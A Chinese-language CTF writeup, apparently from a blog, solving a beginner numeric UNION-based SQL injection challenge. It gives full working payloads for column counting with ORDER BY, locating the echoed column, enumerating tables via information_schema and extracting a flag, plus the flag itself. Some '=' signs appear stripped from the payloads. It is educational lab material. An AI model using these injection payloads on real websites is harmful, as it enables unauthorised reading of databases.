Web安全题型 Writeup|基础数字型SQL联合注入
博客简介本篇记录CTF Web安全入门核心题型——数字型SQL联合注入的完整解题流程。SQL注入是CTF竞赛必考高频考点本题涵盖注入点判断、字段数查询、回显位探测、逐级查表查值全流程Payload通用、思路标准适合新手夯实Web安全基础。题型分类Web安全SQL注入运行环境浏览器、Burp Suite可选一、题目描述竞赛平台新手CTF训练平台题目分值200pt题目难度⭐⭐ 入门进阶题目存在动态参数链接?id1访问链接可回显对应id的用户数据页面存在数字型SQL注入漏洞需要通过注入漏洞查询数据库隐藏数据获取最终flag。二、解题思路分析1. 漏洞判断通过修改id参数测试页面报错与回显差异确认存在数字型SQL注入2. 基础探测利用order by语句查询SQL查询字段总数确定可查询字段数量3. 回显定位通过UNION联合查询找到页面可回显的字段位置用于输出查询数据4. 逐级查询依次查询数据库信息、数据表、字段最终读取flag表中的隐藏flag数据。三、详细实操解题步骤步骤1探测查询字段数量利用order by排序语句判断字段数原理是超出实际字段数会触发数据库报错1. 访问?id1 order by 3--页面正常回显说明字段数≥32. 访问?id1 order by 4--页面报错说明字段数4结论当前SQL查询语句共查询3个字段。步骤2定位页面回显字段构造UNION联合查询Payload拼接虚拟数字判断回显位置?id1 UNION SELECT 1,2,3--页面成功回显数字2证明第二个字段为有效回显位后续所有查询语句均通过该字段输出数据。步骤3逐级查询数据库核心信息1. 查询数据库版本验证注入有效性?id1 UNION SELECT 1,version(),3--2. 查询当前所在数据库名?id1 UNION SELECT 1,database(),3--3. 查询当前数据库所有数据表名?id1 UNION SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()--查询结果得到核心数据表flag、usersflag表为目标数据表。步骤4查询flag表获取最终数据直接查询flag表中的flag字段内容构造最终Payload?id1 UNION SELECT 1,group_concat(flag),3 from flag--页面回显隐藏的flag数据解题完成。四、最终Flagctf{sql_union_easy_2026}五、题目复盘与学习总结本题是Web安全最经典的数字型联合注入题型覆盖了CTF SQL注入的基础核心流程是进阶复杂注入的基础。1. 标准化注入流程判断注入点→查询字段数→定位回显位→查库→查表→查字段→取数据该流程适用于90%以上的基础联合注入题目2. 核心知识点掌握information_schema系统库的使用这是SQL注入查表查值的核心依据3. 易错点数字型注入无需单引号闭合字符型注入需要闭合前后引号新手需区分两种注入类型的差异。